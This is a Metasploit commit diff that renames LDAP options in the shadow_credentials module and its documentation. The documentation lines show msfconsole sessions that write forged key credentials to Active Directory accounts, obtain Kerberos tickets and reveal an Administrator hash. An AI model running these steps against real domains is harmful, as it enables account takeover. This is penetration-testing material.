Skip to content

Commit 9ac55c3

Browse files
committed
Update the ldap options for shadow credentials
1 parent c73bffa commit 9ac55c3

File tree

2 files changed

+30
-17
lines changed

2 files changed

+30
-17
lines changed

documentation/modules/auxiliary/admin/ldap/shadow_credentials.md

Lines changed: 26 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -109,13 +109,8 @@ Module options (auxiliary/admin/ldap/shadow_credentials):
109109
110110
Name Current Setting Required Description
111111
---- --------------- -------- -----------
112-
DOMAIN no The domain to authenticate to
113-
PASSWORD no The password to authenticate with
114-
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
115-
RPORT 389 yes The target port
116112
SSL false no Enable SSL on the LDAP connection
117113
TARGET_USER yes The target to write to
118-
USERNAME no The username to authenticate with
119114
120115
121116
When ACTION is REMOVE:
@@ -125,6 +120,24 @@ Module options (auxiliary/admin/ldap/shadow_credentials):
125120
DEVICE_ID no The specific certificate ID to operate on
126121
127122
123+
Used when connecting via an existing SESSION:
124+
125+
Name Current Setting Required Description
126+
---- --------------- -------- -----------
127+
SESSION no The session to run this module on
128+
129+
130+
Used when making a new connection via RHOSTS:
131+
132+
Name Current Setting Required Description
133+
---- --------------- -------- -----------
134+
LDAPDomain no The domain to authenticate to
135+
LDAPPassword no The password to authenticate with
136+
LDAPUsername no The username to authenticate with
137+
RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
138+
RPORT 389 no The target port
139+
140+
128141
Auxiliary action:
129142
130143
Name Description
@@ -139,8 +152,8 @@ msf6 auxiliary(admin/ldap/shadow_credentials) > set rhosts 20.92.148.129
139152
rhosts => 20.92.148.129
140153
msf6 auxiliary(admin/ldap/shadow_credentials) > set domain MSF.LOCAL
141154
domain => MSF.LOCAL
142-
msf6 auxiliary(admin/ldap/shadow_credentials) > set username sandy
143-
username => sandy
155+
msf6 auxiliary(admin/ldap/shadow_credentials) > set ldapusername sandy
156+
ldapusername => sandy
144157
msf6 auxiliary(admin/ldap/shadow_credentials) > set password Password1!
145158
password => Password1!
146159
msf6 auxiliary(admin/ldap/shadow_credentials) > set target_user victim
@@ -163,8 +176,8 @@ The LDAP property has been successfully updated. Now we can request a TGT using
163176
```msf
164177
msf6 auxiliary(admin/kerberos/get_ticket) > set rhosts 20.92.148.129
165178
rhosts => 20.92.148.129
166-
msf6 auxiliary(admin/kerberos/get_ticket) > set username victim
167-
username => victim
179+
msf6 auxiliary(admin/kerberos/get_ticket) > set ldapusername victim
180+
ldapusername => victim
168181
msf6 auxiliary(admin/kerberos/get_ticket) > set domain MSF.LOCAL
169182
domain => MSF.LOCAL
170183
msf6 auxiliary(admin/kerberos/get_ticket) > set cert_file /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.ad.cs_300384.pfx
@@ -205,7 +218,7 @@ Administrator:500:aad3b435b51404eeaad3b435b51404ee:26f8220ed7f1494c5737bd552e661
205218
In the following example the user `MSF\DESKTOP-H4VEQQHQ$` targets itself. No special permissions are required for this, as computers have some ability to modify their own value by default.
206219

207220
```msf
208-
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add
221+
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 ldapusername=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add
209222
[*] Running module against 20.92.148.129
210223
211224
[+] Successfully bound to the LDAP server!
@@ -220,7 +233,7 @@ msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username
220233
Note, however, that attempting to add a second credential will fail under these circumstances:
221234

222235
```msf
223-
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add
236+
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 ldapusername=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add
224237
[*] Running module against 20.92.148.129
225238
226239
[+] Successfully bound to the LDAP server!
@@ -240,7 +253,7 @@ for any legitimate user relying on the existing value.
240253
```msf
241254
msf6 auxiliary(admin/ldap/shadow_credentials) > set action flush
242255
action => flush
243-
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
256+
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 ldapusername=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
244257
[*] Running module against 20.92.148.129
245258
246259
[+] Successfully bound to the LDAP server!
@@ -251,7 +264,7 @@ msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username
251264
[*] Auxiliary module execution completed
252265
msf6 auxiliary(admin/ldap/shadow_credentials) > set action add
253266
action => add
254-
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
267+
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 ldapusername=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
255268
[*] Running module against 20.92.148.129
256269
257270
[+] Successfully bound to the LDAP server!

modules/auxiliary/admin/ldap/shadow_credentials.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -67,12 +67,12 @@ def fail_with_ldap_error(message)
6767
def warn_on_likely_user_error
6868
ldap_result = @ldap.get_operation_result.table
6969
if ldap_result[:code] == 50
70-
if (datastore['USERNAME'] == datastore['TARGET_USER'] ||
71-
datastore['USERNAME'] == datastore['TARGET_USER'] + '$') &&
72-
datastore['USERNAME'].end_with?('$') &&
70+
if (datastore['LDAPUsername'] == datastore['TARGET_USER'] ||
71+
datastore['LDAPUsername'] == datastore['TARGET_USER'] + '$') &&
72+
datastore['LDAPUsername'].end_with?('$') &&
7373
['add', 'remove'].include?(action.name.downcase)
7474
print_warning('By default, computer accounts can only update their key credentials if no value already exists. If there is already a value present, you can remove it, and add your own, but any users relying on the existing credentials will not be able to authenticate until you replace the existing value(s).')
75-
elsif datastore['USERNAME'] == datastore['TARGET_USER'] && !datastore['USERNAME'].end_with?('$')
75+
elsif datastore['LDAPUsername'] == datastore['TARGET_USER'] && !datastore['LDAPUsername'].end_with?('$')
7676
print_warning('By default, only computer accounts can modify their own properties (not user accounts).')
7777
end
7878
end

0 commit comments

Comments
 (0)